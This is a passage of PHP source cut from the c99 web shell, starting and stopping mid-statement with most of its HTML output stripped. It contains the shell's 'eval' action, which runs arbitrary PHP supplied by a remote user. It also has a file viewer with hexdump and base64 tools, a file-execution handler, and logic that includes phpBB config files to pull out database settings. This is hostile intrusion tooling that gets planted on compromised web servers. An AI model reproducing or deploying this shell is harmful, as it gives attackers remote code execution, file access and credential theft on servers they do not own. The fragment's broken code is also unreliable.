echo ""; } echo "".$v.""; }}if ($act == "eval"){ if (!empty($eval)) { echo "Result of execution this PHP-code:"; $tmp = ob_get_contents(); $olddir = realpath("."); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,"d","w"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "".htmlspecialchars($ret).""; } else {echo $ret."";} } else { if ($eval_txt) { echo ""; eval($eval); echo ""; } else {echo $ret;} } @chdir($olddir); } else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = TRUE;}} echo "".htmlspecialchars($eval)." Display in text-area ";}if ($act == "f"){ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")!";} else {echo "File does not exists (".htmlspecialchars($d.$f).")!Create";} } else { $r = @file_get_contents($d.$f); $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} if (empty($ft)) {$ft = $rft;} $arr = array( array("[hex]","info"), array("[html]","html"), array("[txt]","txt"), array("[Code]","code"), array("[Session]","phpsess"), array("[exe]","exe"), array("[SDB]","sdb"), array("[gif]","img"), array("[ini]","ini"), array("[download]","download"), array("[rtf]","notepad"), array("[change]","edit") ); echo "Viewing file: [$ext] ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."Select action/file-type:"; foreach($arr as $t) { if ($t[1] == $rft) {echo " ".$t[0]."";} elseif ($t[1] == $ft) {echo " ".$t[0]."";} else {echo " ".$t[0]."";} echo " (+) |"; } echo ""; if ($ft == "info") { echo "Information:"; if (!$win) { echo "Path".$d.$f."Size".view_size(filesize($d.$f))."MD5".md5_file($d.$f)."Owner/Group"; $ow = posix_getpwuid(fileowner($d.$f)); $gr = posix_getgrgid(filegroup($d.$f)); echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); } echo "Perms".view_perms_color($d.$f)."Create time".date("d/m/Y H:i:s",filectime($d.$f))."Access time".date("d/m/Y H:i:s",fileatime($d.$f))."MODIFY time".date("d/m/Y H:i:s",filemtime($d.$f)).""; $fi = fopen($d.$f,"rb"); if ($fi) { if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = "00000000"; $a1 = ""; $a2 = ""; for ($i=0; $i";} $a1 .= ""; $a2 .= ""; } } //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."";} echo "".$a0."".$a1."".$a2.""; } $encoded = ""; if ($base64 == 1) { echo "Base64 Encode"; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo "Base64 Encode + Chunk"; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo "Base64 Encode + Chunk + Quotes"; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo "Base64 Decode"; if (base64_encode($encoded) != $text) {echo " (failed)";} echo ""; } if (!empty($encoded)) { echo "".htmlspecialchars($encoded).""; } echo "HEXDUMP: [Full] [Preview]Base64: [Encode] [+chunk] [+chunk+quotes] [Decode] "; } elseif ($ft == "html") { if ($white) {@ob_clean();} echo $r; if ($white) {c99shexit();} } elseif ($ft == "txt") {echo "".htmlspecialchars($r)."";} elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo "";} elseif ($ft == "phpsess") { echo ""; $v = explode("|",$r); echo $v[0].""; var_dump(unserialize($v[1])); echo ""; } elseif ($ft == "exe") { $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($exeftypes as $k=>$v) { if (in_array($ext,$v)) {$rft = $k; break;} } $cmd = str_replace("%f%",$f,$rft); echo "Execute file:Display in text-area"; } elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo "";} elseif ($ft == "code") { if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { $arr = explode("\n",$r); if (count($arr == 18)) { include($d.$f); echo "phpBB configuration is detected in this file!"; if ($dbms == "mysql4") {$dbms = "mysql";} if ($dbms == "mysql") {echo